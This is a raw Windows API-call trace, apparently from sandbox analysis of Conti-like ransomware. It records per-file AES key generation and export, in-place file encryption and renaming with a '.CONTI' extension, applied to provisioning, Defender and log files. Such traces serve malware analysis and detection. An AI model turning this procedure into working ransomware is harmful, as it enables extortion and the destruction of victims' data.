	[0114.250] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.250] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0114.250] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0114.251] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0114.251] GetProcessHeap () returned 0x1720000
	[0114.251] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.251] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.252] GetProcessHeap () returned 0x1720000
	[0114.252] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18187c8 | out: hHeap=0x1720000) returned 1
	[0114.252] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.252] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e058 | out: phKey=0x6b4e058*=0x17c8030) returned 1
	[0114.252] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e05c, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4e05c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.252] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.253] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.253] GetLastError () returned 0x0
	[0114.253] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=652) returned 1
	[0114.253] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28c
	[0114.253] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.253] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.253] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.253] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.253] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4e05c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b4e05c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.260] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.260] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x28c, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x28c, lpOverlapped=0x0) returned 1
	[0114.260] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x28c, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x290) returned 1
	[0114.260] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.260] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x290, lpOverlapped=0x0) returned 1
	[0114.260] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.260] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4e050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b4e050*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0114.260] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.260] CloseHandle (hObject=0x3d8) returned 1
	[0114.260] GetProcessHeap () returned 0x1720000
	[0114.260] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.260] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml"
	[0114.260] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.260] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\77__Connections_Cellular_Ice Celular (Costa Rica)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\77__connections_cellular_ice celular (costa rica)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.261] GetProcessHeap () returned 0x1720000
	[0114.261] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.261] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.261] GetProcessHeap () returned 0x1720000
	[0114.262] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c98f8 | out: hHeap=0x1720000) returned 1
	[0114.262] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.262] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b51718 | out: phKey=0x6b51718*=0x17c8030) returned 1
	[0114.262] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5171c, pdwDataLen=0x3a7ff24 | out: pbData=0x6b5171c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.262] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.268] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.268] GetLastError () returned 0x0
	[0114.268] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=646) returned 1
	[0114.268] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
	[0114.269] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.269] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.269] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.269] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.269] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b5171c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b5171c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.101] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.101] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x286, lpOverlapped=0x0) returned 1
	[0115.101] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x286, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x290) returned 1
	[0115.101] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.101] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x290, lpOverlapped=0x0) returned 1
	[0115.102] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.102] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b51710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b51710*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0115.102] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.102] CloseHandle (hObject=0x3d8) returned 1
	[0116.244] GetProcessHeap () returned 0x1720000
	[0116.244] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6587ee8
	[0116.245] lstrcpyW (in: lpString1=0x6587ee8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml"
	[0116.245] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0116.245] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\79__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\79__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0116.735] GetProcessHeap () returned 0x1720000
	[0116.735] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587ee8 | out: hHeap=0x1720000) returned 1
	[0116.738] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0116.738] GetProcessHeap () returned 0x1720000
	[0116.738] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b56320 | out: hHeap=0x1720000) returned 1
	[0116.738] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0116.738] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x6b7f278) returned 1
	[0116.738] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x3a7ff24 | out: pbData=0x6b5203c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0116.740] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e")) returned 0x20
	[0116.741] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0116.741] GetLastError () returned 0x0
	[0116.742] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=3997464) returned 1
	[0116.742] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3cff18
	[0116.742] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.742] SetEndOfFile (hFile=0x3e4) returned 1
	[0116.742] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.742] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.742] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b5203c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b5203c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0116.744] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.744] ReadFile (in: hFile=0x3e4, lpBuffer=0x9370000, nNumberOfBytesToRead=0x3cff18, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x3cff18, lpOverlapped=0x0) returned 1
	[0118.579] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x3cff18, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x3cff20) returned 1
	[0118.584] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.584] WriteFile (in: hFile=0x3e4, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x3cff20, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x3cff20, lpOverlapped=0x0) returned 1
	[0120.156] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.156] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b52030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b52030*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0120.156] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.156] CloseHandle (hObject=0x3e4) returned 1
	[0120.156] GetProcessHeap () returned 0x1720000
	[0120.156] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.514] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E"
	[0120.514] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.CONTI"
	[0120.514] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e.conti")) returned 1
	[0120.515] GetProcessHeap () returned 0x1720000
	[0120.515] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.515] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0120.515] GetProcessHeap () returned 0x1720000
	[0120.515] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c898 | out: hHeap=0x1720000) returned 1
	[0120.515] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0122.430] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f970 | out: phKey=0x6b4f970*=0x6b7e978) returned 1
	[0122.431] CryptExportKey (in: hKey=0x6b7e978, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f974, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4f974*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0123.646] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.003.etl")) returned 0x2020
	[0123.646] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0123.647] GetLastError () returned 0x0
	[0123.647] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=8192) returned 1
	[0123.647] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.647] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.647] SetEndOfFile (hFile=0x2ec) returned 1
	[0123.647] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.647] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.647] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b4f974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b4f974*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0125.108] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
